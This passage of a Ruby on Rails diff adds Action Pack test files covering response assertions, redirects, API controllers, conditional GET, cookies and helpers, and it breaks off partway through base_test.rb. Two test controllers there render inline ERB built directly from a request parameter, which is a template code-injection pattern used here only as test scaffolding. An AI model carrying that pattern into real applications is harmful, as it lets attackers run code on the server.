+    attr_reader :strict
+
+    def initialize(block, strict = false)
+      @block = block
+      @strict = strict
+      super()
+    end
+
+    private
+
+      def make_request(env)
+        Request.new super, url_helpers, @block, strict
+      end
+  end
+end
+
+class ResourcesController < ActionController::Base
+  def index() head :ok end
+  alias_method :show, :index
+end
+
+class CommentsController < ResourcesController; end
+class AccountsController < ResourcesController; end
+class ImagesController < ResourcesController; end
+
+require "active_support/testing/method_call_assertions"
+
+class ForkingExecutor
+  class Server
+    include DRb::DRbUndumped
+
+    def initialize
+      @queue = Queue.new
+    end
+
+    def record(reporter, result)
+      reporter.record result
+    end
+
+    def <<(o)
+      o[2] = DRbObject.new(o[2]) if o
+      @queue << o
+    end
+    def pop; @queue.pop; end
+  end
+
+  def initialize(size)
+    @size  = size
+    @queue = Server.new
+    file   = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname("rails-tests", "fd")
+    @url   = "drbunix://#{file}"
+    @pool  = nil
+    DRb.start_service @url, @queue
+  end
+
+  def <<(work); @queue << work; end
+
+  def shutdown
+    pool = @size.times.map {
+      fork {
+        DRb.stop_service
+        queue = DRbObject.new_with_uri @url
+        while job = queue.pop
+          klass    = job[0]
+          method   = job[1]
+          reporter = job[2]
+          result = Minitest.run_one_method klass, method
+          if result.error?
+            translate_exceptions result
+          end
+          queue.record reporter, result
+        end
+      }
+    }
+    @size.times { @queue << nil }
+    pool.each { |pid| Process.waitpid pid }
+  end
+
+  private
+    def translate_exceptions(result)
+      result.failures.map! { |e|
+        begin
+          Marshal.dump e
+          e
+        rescue TypeError
+          ex = Exception.new e.message
+          ex.set_backtrace e.backtrace
+          Minitest::UnexpectedError.new ex
+        end
+      }
+    end
+end
+
+if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0
+  # Use N processes (N defaults to 4)
+  Minitest.parallel_executor = ForkingExecutor.new(PROCESS_COUNT)
+end
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
+
+class DrivenByRackTest < ActionDispatch::SystemTestCase
+  driven_by :rack_test
+end
+
+class DrivenBySeleniumWithChrome < ActionDispatch::SystemTestCase
+  driven_by :selenium, using: :chrome
+end
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
new file mode 100644
index 0000000000..261579dce5
--- /dev/null
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/testing/assertions/response"
+
+module ActionDispatch
+  module Assertions
+    class ResponseAssertionsTest < ActiveSupport::TestCase
+      include ResponseAssertions
+
+      FakeResponse = Struct.new(:response_code, :location, :body) do
+        def initialize(*)
+          super
+          self.location ||= "http://test.example.com/posts"
+          self.body ||= ""
+        end
+
+        [:successful, :not_found, :redirection, :server_error].each do |sym|
+          define_method("#{sym}?") do
+            sym == response_code
+          end
+        end
+      end
+
+      def setup
+        @controller = nil
+        @request = nil
+      end
+
+      def test_assert_response_predicate_methods
+        [:success, :missing, :redirect, :error].each do |sym|
+          @response = FakeResponse.new RESPONSE_PREDICATES[sym].to_s.sub(/\?/, "").to_sym
+          assert_response sym
+
+          assert_raises(Minitest::Assertion) {
+            assert_response :unauthorized
+          }
+        end
+      end
+
+      def test_assert_response_integer
+        @response = FakeResponse.new 400
+        assert_response 400
+
+        assert_raises(Minitest::Assertion) {
+          assert_response :unauthorized
+        }
+
+        assert_raises(Minitest::Assertion) {
+          assert_response 500
+        }
+      end
+
+      def test_assert_response_sym_status
+        @response = FakeResponse.new 401
+        assert_response :unauthorized
+
+        assert_raises(Minitest::Assertion) {
+          assert_response :ok
+        }
+
+        assert_raises(Minitest::Assertion) {
+          assert_response :success
+        }
+      end
+
+      def test_assert_response_sym_typo
+        @response = FakeResponse.new 200
+
+        assert_raises(ArgumentError) {
+          assert_response :succezz
+        }
+      end
+
+      def test_error_message_shows_404_when_404_asserted_for_success
+        @response = ActionDispatch::Response.new
+        @response.status = 404
+
+        error = assert_raises(Minitest::Assertion) { assert_response :success }
+        expected = "Expected response to be a <2XX: success>,"\
+                   " but was a <404: Not Found>"
+        assert_match expected, error.message
+      end
+
+      def test_error_message_shows_404_when_asserted_for_200
+        @response = ActionDispatch::Response.new
+        @response.status = 404
+
+        error = assert_raises(Minitest::Assertion) { assert_response 200 }
+        expected = "Expected response to be a <200: OK>,"\
+                   " but was a <404: Not Found>"
+        assert_match expected, error.message
+      end
+
+      def test_error_message_shows_302_redirect_when_302_asserted_for_success
+        @response = ActionDispatch::Response.new
+        @response.status = 302
+        @response.location = "http://test.host/posts/redirect/1"
+
+        error = assert_raises(Minitest::Assertion) { assert_response :success }
+        expected = "Expected response to be a <2XX: success>,"\
+                   " but was a <302: Found>" \
+                   " redirect to <http://test.host/posts/redirect/1>"
+        assert_match expected, error.message
+      end
+
+      def test_error_message_shows_302_redirect_when_302_asserted_for_301
+        @response = ActionDispatch::Response.new
+        @response.status = 302
+        @response.location = "http://test.host/posts/redirect/2"
+
+        error = assert_raises(Minitest::Assertion) { assert_response 301 }
+        expected = "Expected response to be a <301: Moved Permanently>,"\
+                   " but was a <302: Found>" \
+                   " redirect to <http://test.host/posts/redirect/2>"
+        assert_match expected, error.message
+      end
+
+      def test_error_message_shows_short_response_body
+        @response = ActionDispatch::Response.new
+        @response.status = 400
+        @response.body = "not too long"
+        error = assert_raises(Minitest::Assertion) { assert_response 200 }
+        expected = "Expected response to be a <200: OK>,"\
+                   " but was a <400: Bad Request>" \
+                   "\nResponse body: not too long"
+        assert_match expected, error.message
+      end
+
+      def test_error_message_does_not_show_long_response_body
+        @response = ActionDispatch::Response.new
+        @response.status = 400
+        @response.body = "not too long" * 50
+        error = assert_raises(Minitest::Assertion) { assert_response 200 }
+        expected = "Expected response to be a <200: OK>,"\
+                   " but was a <400: Bad Request>"
+        assert_match expected, error.message
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
new file mode 100644
index 0000000000..f9a037e3cc
--- /dev/null
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -0,0 +1,493 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_controllers"
+
+class ActionPackAssertionsController < ActionController::Base
+  def nothing() head :ok end
+
+  def hello_xml_world() render template: "test/hello_xml_world"; end
+
+  def hello_xml_world_pdf
+    self.content_type = "application/pdf"
+    render template: "test/hello_xml_world"
+  end
+
+  def hello_xml_world_pdf_header
+    response.headers["Content-Type"] = "application/pdf; charset=utf-8"
+    render template: "test/hello_xml_world"
+  end
+
+  def redirect_internal() redirect_to "/nothing"; end
+
+  def redirect_to_action() redirect_to action: "flash_me", id: 1, params: { "panda" => "fun" }; end
+
+  def redirect_to_controller() redirect_to controller: "elsewhere", action: "flash_me"; end
+
+  def redirect_to_controller_with_symbol() redirect_to controller: :elsewhere, action: :flash_me; end
+
+  def redirect_to_path() redirect_to "/some/path" end
+
+  def redirect_invalid_external_route() redirect_to "ht_tp://www.rubyonrails.org" end
+
+  def redirect_to_named_route() redirect_to route_one_url end
+
+  def redirect_external() redirect_to "http://www.rubyonrails.org"; end
+
+  def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
+
+  def response404() head "404 AWOL" end
+
+  def response500() head "500 Sorry" end
+
+  def response599() head "599 Whoah!" end
+
+  def flash_me
+    flash["hello"] = "my name is inigo montoya..."
+    render plain: "Inconceivable!"
+  end
+
+  def flash_me_naked
+    flash.clear
+    render plain: "wow!"
+  end
+
+  def assign_this
+    @howdy = "ho"
+    render inline: "Mr. Henke"
+  end
+
+  def render_based_on_parameters
+    render plain: "Mr. #{params[:name]}"
+  end
+
+  def render_url
+    render html: "<div>#{url_for(action: 'flash_me', only_path: true)}</div>"
+  end
+
+  def render_text_with_custom_content_type
+    render body: "Hello!", content_type: Mime[:rss]
+  end
+
+  def session_stuffing
+    session["xmas"] = "turkey"
+    render plain: "ho ho ho"
+  end
+
+  def raise_exception_on_get
+    raise "get" if request.get?
+    render plain: "request method: #{request.env['REQUEST_METHOD']}"
+  end
+
+  def raise_exception_on_post
+    raise "post" if request.post?
+    render plain: "request method: #{request.env['REQUEST_METHOD']}"
+  end
+
+  def render_file_absolute_path
+    render file: File.expand_path("../../README.rdoc", __dir__)
+  end
+
+  def render_file_relative_path
+    render file: "README.rdoc"
+  end
+end
+
+# Used to test that assert_response includes the exception message
+# in the failure message when an action raises and assert_response
+# is expecting something other than an error.
+class AssertResponseWithUnexpectedErrorController < ActionController::Base
+  def index
+    raise "FAIL"
+  end
+
+  def show
+    render plain: "Boom", status: 500
+  end
+end
+
+module Admin
+  class InnerModuleController < ActionController::Base
+    def index
+      head :ok
+    end
+
+    def redirect_to_index
+      redirect_to admin_inner_module_path
+    end
+
+    def redirect_to_absolute_controller
+      redirect_to controller: "/content"
+    end
+
+    def redirect_to_fellow_controller
+      redirect_to controller: "user"
+    end
+
+    def redirect_to_top_level_named_route
+      redirect_to top_level_url(id: "foo")
+    end
+  end
+end
+
+class ApiOnlyController < ActionController::API
+  def nothing
+    head :ok
+  end
+
+  def redirect_to_new_route
+    redirect_to new_route_url
+  end
+end
+
+class ActionPackAssertionsControllerTest < ActionController::TestCase
+  def test_render_file_absolute_path
+    get :render_file_absolute_path
+    assert_match(/\A= Action Pack/, @response.body)
+  end
+
+  def test_render_file_relative_path
+    get :render_file_relative_path
+    assert_match(/\A= Action Pack/, @response.body)
+  end
+
+  def test_get_request
+    assert_raise(RuntimeError) { get :raise_exception_on_get }
+    get :raise_exception_on_post
+    assert_equal "request method: GET", @response.body
+  end
+
+  def test_post_request
+    assert_raise(RuntimeError) { post :raise_exception_on_post }
+    post :raise_exception_on_get
+    assert_equal "request method: POST", @response.body
+  end
+
+  def test_get_post_request_switch
+    post :raise_exception_on_get
+    assert_equal "request method: POST", @response.body
+    get :raise_exception_on_post
+    assert_equal "request method: GET", @response.body
+    post :raise_exception_on_get
+    assert_equal "request method: POST", @response.body
+    get :raise_exception_on_post
+    assert_equal "request method: GET", @response.body
+  end
+
+  def test_string_constraint
+    with_routing do |set|
+      set.draw do
+        get "photos", to: "action_pack_assertions#nothing", constraints: { subdomain: "admin" }
+      end
+    end
+  end
+
+  def test_with_routing_works_with_api_only_controllers
+    @controller = ApiOnlyController.new
+
+    with_routing do |set|
+      set.draw do
+        get "new_route", to: "api_only#nothing"
+        get "redirect_to_new_route", to: "api_only#redirect_to_new_route"
+      end
+
+      process :redirect_to_new_route
+      assert_redirected_to "http://test.host/new_route"
+    end
+  end
+
+  def test_assert_redirect_to_named_route_failure
+    with_routing do |set|
+      set.draw do
+        get "route_one", to: "action_pack_assertions#nothing", as: :route_one
+        get "route_two", to: "action_pack_assertions#nothing", id: "two", as: :route_two
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+      process :redirect_to_named_route
+      assert_raise(ActiveSupport::TestCase::Assertion) do
+        assert_redirected_to "http://test.host/route_two"
+      end
+      assert_raise(ActiveSupport::TestCase::Assertion) do
+        assert_redirected_to %r(^http://test.host/route_two)
+      end
+      assert_raise(ActiveSupport::TestCase::Assertion) do
+        assert_redirected_to controller: "action_pack_assertions", action: "nothing", id: "two"
+      end
+      assert_raise(ActiveSupport::TestCase::Assertion) do
+        assert_redirected_to route_two_url
+      end
+    end
+  end
+
+  def test_assert_redirect_to_nested_named_route
+    @controller = Admin::InnerModuleController.new
+
+    with_routing do |set|
+      set.draw do
+        get "admin/inner_module", to: "admin/inner_module#index", as: :admin_inner_module
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+      process :redirect_to_index
+      # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}>
+      assert_redirected_to admin_inner_module_path
+    end
+  end
+
+  def test_assert_redirected_to_top_level_named_route_from_nested_controller
+    @controller = Admin::InnerModuleController.new
+
+    with_routing do |set|
+      set.draw do
+        get "/action_pack_assertions/:id", to: "action_pack_assertions#index", as: :top_level
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+      process :redirect_to_top_level_named_route
+      # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return
+      assert_redirected_to "/action_pack_assertions/foo"
+      assert_redirected_to %r(/action_pack_assertions/foo)
+    end
+  end
+
+  def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in_both_namespaces
+    @controller = Admin::InnerModuleController.new
+
+    with_routing do |set|
+      set.draw do
+        # this controller exists in the admin namespace as well which is the only difference from previous test
+        get "/user/:id", to: "user#index", as: :top_level
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+      process :redirect_to_top_level_named_route
+      # assert_redirected_to top_level_url('foo') would pass because of exact match early return
+      assert_redirected_to top_level_path("foo")
+    end
+  end
+
+  def test_assert_redirect_failure_message_with_protocol_relative_url
+    begin
+      process :redirect_external_protocol_relative
+      assert_redirected_to "/foo"
+    rescue ActiveSupport::TestCase::Assertion => ex
+      assert_no_match(
+        /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+        ex.message,
+        "protocol relative url was incorrectly normalized"
+      )
+    end
+  end
+
+  def test_template_objects_exist
+    process :assign_this
+    assert !@controller.instance_variable_defined?(:"@hi")
+    assert @controller.instance_variable_get(:"@howdy")
+  end
+
+  def test_template_objects_missing
+    process :nothing
+    assert !@controller.instance_variable_defined?(:@howdy)
+  end
+
+  def test_empty_flash
+    process :flash_me_naked
+    assert flash.empty?
+  end
+
+  def test_flash_exist
+    process :flash_me
+    assert flash.any?
+    assert flash["hello"].present?
+  end
+
+  def test_flash_does_not_exist
+    process :nothing
+    assert flash.empty?
+  end
+
+  def test_session_exist
+    process :session_stuffing
+    assert_equal "turkey", session["xmas"]
+  end
+
+  def session_does_not_exist
+    process :nothing
+    assert session.empty?
+  end
+
+  def test_redirection_location
+    process :redirect_internal
+    assert_equal "http://test.host/nothing", @response.redirect_url
+
+    process :redirect_external
+    assert_equal "http://www.rubyonrails.org", @response.redirect_url
+
+    process :redirect_external_protocol_relative
+    assert_equal "//www.rubyonrails.org", @response.redirect_url
+  end
+
+  def test_no_redirect_url
+    process :nothing
+    assert_nil @response.redirect_url
+  end
+
+  def test_server_error_response_code
+    process :response500
+    assert @response.server_error?
+
+    process :response599
+    assert @response.server_error?
+
+    process :response404
+    assert !@response.server_error?
+  end
+
+  def test_missing_response_code
+    process :response404
+    assert @response.not_found?
+  end
+
+  def test_client_error_response_code
+    process :response404
+    assert @response.client_error?
+  end
+
+  def test_redirect_url_match
+    process :redirect_external
+    assert @response.redirect?
+    assert_match(/rubyonrails/, @response.redirect_url)
+    assert !/perloffrails/.match(@response.redirect_url)
+  end
+
+  def test_redirection
+    process :redirect_internal
+    assert @response.redirect?
+
+    process :redirect_external
+    assert @response.redirect?
+
+    process :nothing
+    assert !@response.redirect?
+  end
+
+  def test_successful_response_code
+    process :nothing
+    assert @response.successful?
+  end
+
+  def test_response_object
+    process :nothing
+    assert_kind_of ActionDispatch::TestResponse, @response
+  end
+
+  def test_render_based_on_parameters
+    process :render_based_on_parameters,
+      method: "GET",
+      params: { name: "David" }
+    assert_equal "Mr. David", @response.body
+  end
+
+  def test_assert_redirection_fails_with_incorrect_controller
+    process :redirect_to_controller
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_redirected_to controller: "action_pack_assertions", action: "flash_me"
+    end
+  end
+
+  def test_assert_redirection_with_extra_controller_option
+    get :redirect_to_action
+    assert_redirected_to controller: "action_pack_assertions", action: "flash_me", id: 1, params: { panda: "fun" }
+  end
+
+  def test_redirected_to_url_leading_slash
+    process :redirect_to_path
+    assert_redirected_to "/some/path"
+  end
+
+  def test_redirected_to_url_no_leading_slash_fails
+    process :redirect_to_path
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_redirected_to "some/path"
+    end
+  end
+
+  def test_redirect_invalid_external_route
+    process :redirect_invalid_external_route
+    assert_redirected_to "http://test.hostht_tp://www.rubyonrails.org"
+  end
+
+  def test_redirected_to_url_full_url
+    process :redirect_to_path
+    assert_redirected_to "http://test.host/some/path"
+  end
+
+  def test_assert_redirection_with_symbol
+    process :redirect_to_controller_with_symbol
+    assert_nothing_raised {
+      assert_redirected_to controller: "elsewhere", action: "flash_me"
+    }
+    process :redirect_to_controller_with_symbol
+    assert_nothing_raised {
+      assert_redirected_to controller: :elsewhere, action: :flash_me
+    }
+  end
+
+  def test_redirected_to_with_nested_controller
+    @controller = Admin::InnerModuleController.new
+    get :redirect_to_absolute_controller
+    assert_redirected_to controller: "/content"
+
+    get :redirect_to_fellow_controller
+    assert_redirected_to controller: "admin/user"
+  end
+
+  def test_assert_response_uses_exception_message
+    @controller = AssertResponseWithUnexpectedErrorController.new
+    e = assert_raise RuntimeError, "Expected non-success response" do
+      get :index
+    end
+    assert_response :success
+    assert_includes "FAIL", e.message
+  end
+
+  def test_assert_response_failure_response_with_no_exception
+    @controller = AssertResponseWithUnexpectedErrorController.new
+    get :show
+    assert_response 500
+    assert_equal "Boom", response.body
+  end
+end
+
+class ActionPackHeaderTest < ActionController::TestCase
+  tests ActionPackAssertionsController
+
+  def test_rendering_xml_sets_content_type
+    process :hello_xml_world
+    assert_equal("application/xml; charset=utf-8", @response.headers["Content-Type"])
+  end
+
+  def test_rendering_xml_respects_content_type
+    process :hello_xml_world_pdf
+    assert_equal("application/pdf; charset=utf-8", @response.headers["Content-Type"])
+  end
+
+  def test_rendering_xml_respects_content_type_when_set_in_the_header
+    process :hello_xml_world_pdf_header
+    assert_equal("application/pdf; charset=utf-8", @response.headers["Content-Type"])
+  end
+
+  def test_render_text_with_custom_content_type
+    get :render_text_with_custom_content_type
+    assert_equal "application/rss+xml; charset=utf-8", @response.headers["Content-Type"]
+  end
+end
diff --git a/actionpack/test/controller/api/conditional_get_test.rb b/actionpack/test/controller/api/conditional_get_test.rb
new file mode 100644
index 0000000000..fd1997f26c
--- /dev/null
+++ b/actionpack/test/controller/api/conditional_get_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/integer/time"
+require "active_support/core_ext/numeric/time"
+
+class ConditionalGetApiController < ActionController::API
+  before_action :handle_last_modified_and_etags, only: :two
+
+  def one
+    if stale?(last_modified: Time.now.utc.beginning_of_day, etag: [:foo, 123])
+      render plain: "Hi!"
+    end
+  end
+
+  def two
+    render plain: "Hi!"
+  end
+
+  private
+
+    def handle_last_modified_and_etags
+      fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ])
+    end
+end
+
+class ConditionalGetApiTest < ActionController::TestCase
+  tests ConditionalGetApiController
+
+  def setup
+    @last_modified = Time.now.utc.beginning_of_day.httpdate
+  end
+
+  def test_request_gets_last_modified
+    get :two
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+    assert_response :success
+  end
+
+  def test_request_obeys_last_modified
+    @request.if_modified_since = @last_modified
+    get :two
+    assert_response :not_modified
+  end
+
+  def test_last_modified_works_with_less_than_too
+    @request.if_modified_since = 5.years.ago.httpdate
+    get :two
+    assert_response :success
+  end
+
+  def test_request_not_modified
+    @request.if_modified_since = @last_modified
+    get :one
+    assert_equal 304, @response.status.to_i
+    assert @response.body.blank?
+    assert_equal @last_modified, @response.headers["Last-Modified"]
+  end
+end
diff --git a/actionpack/test/controller/api/data_streaming_test.rb b/actionpack/test/controller/api/data_streaming_test.rb
new file mode 100644
index 0000000000..6446ff9e40
--- /dev/null
+++ b/actionpack/test/controller/api/data_streaming_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module TestApiFileUtils
+  def file_path() __FILE__ end
+  def file_data() @data ||= File.open(file_path, "rb") { |f| f.read } end
+end
+
+class DataStreamingApiController < ActionController::API
+  include TestApiFileUtils
+
+  def one; end
+  def two
+    send_data(file_data, {})
+  end
+end
+
+class DataStreamingApiTest < ActionController::TestCase
+  include TestApiFileUtils
+  tests DataStreamingApiController
+
+  def test_data
+    response = process("two")
+    assert_kind_of String, response.body
+    assert_equal file_data, response.body
+  end
+end
diff --git a/actionpack/test/controller/api/force_ssl_test.rb b/actionpack/test/controller/api/force_ssl_test.rb
new file mode 100644
index 0000000000..07459c3753
--- /dev/null
+++ b/actionpack/test/controller/api/force_ssl_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ForceSSLApiController < ActionController::API
+  force_ssl
+
+  def one; end
+  def two
+    head :ok
+  end
+end
+
+class ForceSSLApiTest < ActionController::TestCase
+  tests ForceSSLApiController
+
+  def test_redirects_to_https
+    get :two
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_api/two", redirect_to_url
+  end
+end
diff --git a/actionpack/test/controller/api/implicit_render_test.rb b/actionpack/test/controller/api/implicit_render_test.rb
new file mode 100644
index 0000000000..288fb333b0
--- /dev/null
+++ b/actionpack/test/controller/api/implicit_render_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ImplicitRenderAPITestController < ActionController::API
+  def empty_action
+  end
+end
+
+class ImplicitRenderAPITest < ActionController::TestCase
+  tests ImplicitRenderAPITestController
+
+  def test_implicit_no_content_response
+    get :empty_action
+    assert_response :no_content
+  end
+end
diff --git a/actionpack/test/controller/api/params_wrapper_test.rb b/actionpack/test/controller/api/params_wrapper_test.rb
new file mode 100644
index 0000000000..814c24bfd8
--- /dev/null
+++ b/actionpack/test/controller/api/params_wrapper_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ParamsWrapperForApiTest < ActionController::TestCase
+  class UsersController < ActionController::API
+    attr_accessor :last_parameters
+
+    wrap_parameters :person, format: [:json]
+
+    def test
+      self.last_parameters = params.except(:controller, :action).to_unsafe_h
+      head :ok
+    end
+  end
+
+  class Person; end
+
+  tests UsersController
+
+  def test_specify_wrapper_name
+    @request.env["CONTENT_TYPE"] = "application/json"
+    post :test, params: { "username" => "sikachu" }
+
+    expected = { "username" => "sikachu", "person" => { "username" => "sikachu" } }
+    assert_equal expected, @controller.last_parameters
+  end
+end
diff --git a/actionpack/test/controller/api/redirect_to_test.rb b/actionpack/test/controller/api/redirect_to_test.rb
new file mode 100644
index 0000000000..f8230dd6a9
--- /dev/null
+++ b/actionpack/test/controller/api/redirect_to_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RedirectToApiController < ActionController::API
+  def one
+    redirect_to action: "two"
+  end
+
+  def two; end
+end
+
+class RedirectToApiTest < ActionController::TestCase
+  tests RedirectToApiController
+
+  def test_redirect_to
+    get :one
+    assert_response :redirect
+    assert_equal "http://test.host/redirect_to_api/two", redirect_to_url
+  end
+end
diff --git a/actionpack/test/controller/api/renderers_test.rb b/actionpack/test/controller/api/renderers_test.rb
new file mode 100644
index 0000000000..e7a9a4b2da
--- /dev/null
+++ b/actionpack/test/controller/api/renderers_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/hash/conversions"
+
+class RenderersApiController < ActionController::API
+  class Model
+    def to_json(options = {})
+      { a: "b" }.to_json(options)
+    end
+
+    def to_xml(options = {})
+      { a: "b" }.to_xml(options)
+    end
+  end
+
+  def one
+    render json: Model.new
+  end
+
+  def two
+    render xml: Model.new
+  end
+
+  def plain
+    render plain: "Hi from plain", status: 500
+  end
+end
+
+class RenderersApiTest < ActionController::TestCase
+  tests RenderersApiController
+
+  def test_render_json
+    get :one
+    assert_response :success
+    assert_equal({ a: "b" }.to_json, @response.body)
+  end
+
+  def test_render_xml
+    get :two
+    assert_response :success
+    assert_equal({ a: "b" }.to_xml, @response.body)
+  end
+
+  def test_render_plain
+    get :plain
+    assert_response :internal_server_error
+    assert_equal("Hi from plain", @response.body)
+  end
+end
diff --git a/actionpack/test/controller/api/url_for_test.rb b/actionpack/test/controller/api/url_for_test.rb
new file mode 100644
index 0000000000..aa3428bc85
--- /dev/null
+++ b/actionpack/test/controller/api/url_for_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class UrlForApiController < ActionController::API
+  def one; end
+  def two; end
+end
+
+class UrlForApiTest < ActionController::TestCase
+  tests UrlForApiController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+  end
+
+  def test_url_for
+    get :one
+    assert_equal "http://www.example.com/url_for_api/one", @controller.url_for
+  end
+end
diff --git a/actionpack/test/controller/api/with_cookies_test.rb b/actionpack/test/controller/api/with_cookies_test.rb
new file mode 100644
index 0000000000..1a6e12a4f3
--- /dev/null
+++ b/actionpack/test/controller/api/with_cookies_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class WithCookiesController < ActionController::API
+  include ActionController::Cookies
+
+  def with_cookies
+    render plain: cookies[:foobar]
+  end
+end
+
+class WithCookiesTest < ActionController::TestCase
+  tests WithCookiesController
+
+  def test_with_cookies
+    request.cookies[:foobar] = "bazbang"
+
+    get :with_cookies
+
+    assert_equal "bazbang", response.body
+  end
+end
diff --git a/actionpack/test/controller/api/with_helpers_test.rb b/actionpack/test/controller/api/with_helpers_test.rb
new file mode 100644
index 0000000000..00179d3505
--- /dev/null
+++ b/actionpack/test/controller/api/with_helpers_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ApiWithHelper
+  def my_helper
+    "helper"
+  end
+end
+
+class WithHelpersController < ActionController::API
+  include ActionController::Helpers
+  helper ApiWithHelper
+
+  def with_helpers
+    render plain: self.class.helpers.my_helper
+  end
+end
+
+class SubclassWithHelpersController < WithHelpersController
+  def with_helpers
+    render plain: self.class.helpers.my_helper
+  end
+end
+
+class WithHelpersTest < ActionController::TestCase
+  tests WithHelpersController
+
+  def test_with_helpers
+    get :with_helpers
+
+    assert_equal "helper", response.body
+  end
+end
+
+class SubclassWithHelpersTest < ActionController::TestCase
+  tests WithHelpersController
+
+  def test_with_helpers
+    get :with_helpers
+
+    assert_equal "helper", response.body
+  end
+end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
new file mode 100644
index 0000000000..9ac82c0d65
--- /dev/null
+++ b/actionpack/test/controller/base_test.rb
@@ -0,0 +1,323 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/logger"
+require "controller/fake_models"
+
+# Provide some controller to run the tests on.
+module Submodule
+  class ContainedEmptyController < ActionController::Base
+  end
+end
+
+class EmptyController < ActionController::Base
+end
+
+class SimpleController < ActionController::Base
+  def hello
+    self.response_body = "hello"
+  end
+end
+
+class NonEmptyController < ActionController::Base
+  def public_action
+    head :ok
+  end
+end
+
+class DefaultUrlOptionsController < ActionController::Base
+  def from_view
+    render inline: "<%= #{params[:route]} %>"
+  end
+
+  def default_url_options
+    { host: "www.override.com", action: "new", locale: "en" }
+  end
+end
+
+class OptionalDefaultUrlOptionsController < ActionController::Base
+  def show
+    head :ok
+  end
+
+  def default_url_options
+    { format: "atom", id: "default-id" }
+  end
+end
+
+class UrlOptionsController < ActionController::Base
+  def from_view
+    render inline: "<%= #{params[:route]} %>"
+  end
+
+  def url_options
+    super.merge(host: "www.override.com")
+  end
+end
+
+class RecordIdentifierIncludedController < ActionController::Base
+  include ActionView::RecordIdentifier
+end
+
+class ActionMissingController < ActionController::Base
+  def action_missing(action)
+    render plain: "Response for #{action}"
+  end
+end
+
+class ControllerClassTests < ActiveSupport::TestCase
+  def test_controller_path
+    assert_equal "empty", EmptyController.controller_path
+    assert_equal EmptyController.controller_path, EmptyController.new.controller_path
+    assert_equal "submodule/contained_empty", Submodule::ContainedEmptyController.controller_path
+    assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
+  end
+
+  def test_controller_name
+    assert_equal "empty", EmptyController.controller_name
+    assert_equal "contained_empty", Submodule::ContainedEmptyController.controller_name
+  end
+
+  def test_no_deprecation_when_action_view_record_identifier_is_included
+    record = Comment.new
+    record.save
+
+    dom_id = nil
+    assert_not_deprecated do
+      dom_id = RecordIdentifierIncludedController.new.dom_id(record)
+    end
+
+    assert_equal "comment_1", dom_id
+
+    dom_class = nil
+    assert_not_deprecated do
+      dom_class = RecordIdentifierIncludedController.new.dom_class(record)
+    end
+    assert_equal "comment", dom_class
+  end
+end
+
+class ControllerInstanceTests < ActiveSupport::TestCase
+  def setup
+    @empty = EmptyController.new
+    @empty.set_request!(ActionDispatch::Request.empty)
+    @empty.set_response!(EmptyController.make_response!(@empty.request))
+    @contained = Submodule::ContainedEmptyController.new
+    @empty_controllers = [@empty, @contained]
+  end
+
+  def test_performed?
+    assert !@empty.performed?
+    @empty.response_body = ["sweet"]
+    assert @empty.performed?
+  end
+
+  def test_action_methods
+    @empty_controllers.each do |c|
+      assert_equal Set.new, c.class.action_methods, "#{c.controller_path} should be empty!"
+    end
+  end
+
+  def test_temporary_anonymous_controllers
+    name = "ExamplesController"
+    klass = Class.new(ActionController::Base)
+    Object.const_set(name, klass)
+
+    controller = klass.new
+    assert_equal "examples", controller.controller_path
+  end
+
+  def test_response_has_default_headers
+    original_default_headers = ActionDispatch::Response.default_headers
+
+    ActionDispatch::Response.default_headers = {
+      "X-Frame-Options" => "DENY",
+      "X-Content-Type-Options" => "nosniff",
